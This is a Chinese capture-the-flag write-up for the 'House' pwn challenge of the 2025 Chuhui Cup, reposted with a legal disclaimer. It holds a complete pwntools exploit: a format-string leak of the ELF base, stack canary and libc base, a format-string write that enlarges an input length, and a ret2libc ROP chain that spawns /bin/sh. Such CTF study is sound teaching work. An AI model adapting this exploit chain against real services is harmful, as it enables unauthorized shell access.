文章总结: 本文是关于2025楚慧杯PWN部分的解题思路与代码实现。针对一个菜单式程序,作者通过分析发现其存在格式化字符串漏洞和栈溢出风险。利用格式化字符串漏洞泄露ELF基地址、金丝雀(canary)和libc基地址后,再修改输入长度限制,最终通过栈溢出执行system(‘/bin/sh’)以获取shell。
综合评分: 85
文章分类: CTF,PWN,二进制安全,格式化字符串漏洞,栈溢出
2025楚慧杯PWN部分WP
赛查查
2026年3月20日 09:05
江苏
以下文章来源于念夏-无心插柳柳成荫
,作者无心插柳柳成荫
念夏-无心插柳柳成荫
.
内容涵盖核心知识学习(网络基础、系统安全、Web安全、密码学、逆向工程、渗透测试等)、详实的学习笔记与心得、参与的CTF竞赛与实战项目经历,以及日常在各大平台(如CTFShow等)的刷题记录与题解。
House
checksec查看保护全开
运行house后发现是个菜单题,分为add,change,edit和show四个函数。
下面仔细查看这四个函数,add函数从堆上分配了空间,无后续操作。
change函数,有一个很明显的格式化字符串漏洞,可以泄露地址。buf最多只读入0x30字节,无法栈溢出。
edit函数,读入nbytes到buf中,这里的nbytes在data段,也就是可以修改的。联想到前面的格式化字符串漏洞,可以尝试修改nbytes的值,进而溢出buf到返回地址。
show函数,打印了一串字符串,无明显漏洞。
读到这里整体有两个思路
-
通过add函数泄露地址,包括elf,libc和canary地址,通过edit函数写nbytes,后面栈溢出ret2libc打通。
-
通过add函数泄露地址,直接写函数返回地址(但这里buf的长度只有0x30,实际上payload长度远超0x30,比赛完后试了几个小时没成功)。
具体实现
#
1.泄露箭头三处指向的地址,分别为elf, canary和libc的地址
io.sendlineafter(b">> ", b"2")payload = "%10$p|%13$p|%21$p\x00"
# leak elf_baseio.sendlineafter(b"Please write your name:\n", payload)io.recvuntil(b"0x")elf_base = int(io.recv(12), 16) - 0x1140log.success(hex(elf_base))
# leak canaryio.recvuntil(b"0x")canary_addr = int(io.recv(16), 16)log.success(hex(canary_addr))
# leak libc_b aseio.recvuntil(b"0x")libc_base = int(io.recv(12), 16) - 243 - libc.sym["__libc_start_main"]log.success(hex(libc_base))
2.修改nbytes的值
io.sendlineafter(b">> ", b"2")bytes_addr = elf_base + 0x0000000000004010log.success(hex(bytes_addr))payload = fmtstr_payload(6, {bytes_addr:200})payload += b"\x00"io.sendafter(b"Please write your name:\n", payload)
3.栈溢出ret2libc
io.sendlineafter(b">> ", b"3")
padding = 0x50 - 0x8rdi_addr = elf_base + 0x0000000000001503ret_addr = elf_base + 0x000000000000101asystem_addr = libc_base + libc.sym["system"]bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))payload = b"a" * padding + p64(canary_addr) + b"a" * 8 payload += p64(rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)io.sendafter(b"Please write your content\n", payload)
完整代码实现
from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')io = process("./pwn")libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 1。泄露elf_base, canary, libc_base
io.sendlineafter(b">> ", b"2")payload = "%10$p|%13$p|%21$p\x00"io.sendlineafter(b"Please write your name:\n", payload)
# elf_baseio.recvuntil(b"0x")elf_base = int(io.recv(12), 16) - 0x1140log.success(hex(elf_base))
# canaryio.recvuntil(b"0x")canary_addr = int(io.recv(16), 16)log.success(hex(canary_addr))io.recvuntil(b"0x")
# libc_baselibc_base = int(io.recv(12), 16) - 243 - libc.sym["__libc_start_main"]log.success(hex(libc_base))
# 2.写nbytesio.sendlineafter(b">> ", b"2")bytes_addr = elf_base + 0x0000000000004010log.success(hex(bytes_addr))payload = fmtstr_payload(6, {bytes_addr:200})payload += b"\x00"io.sendafter(b"Please write your name:\n", payload)
# 3.栈溢出io.sendlineafter(b">> ", b"3")padding = 0x50 - 0x8rdi_addr = elf_base + 0x0000000000001503ret_addr = elf_base + 0x000000000000101asystem_addr = libc_base + libc.sym["system"]bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))payload = b"a" * padding + p64(canary_addr) + b"a" * 8 payload += p64(rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)io.sendafter(b"Please write your content\n", payload)
io.interactive()
结果拿到shell
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《2025楚慧杯PWN部分WP》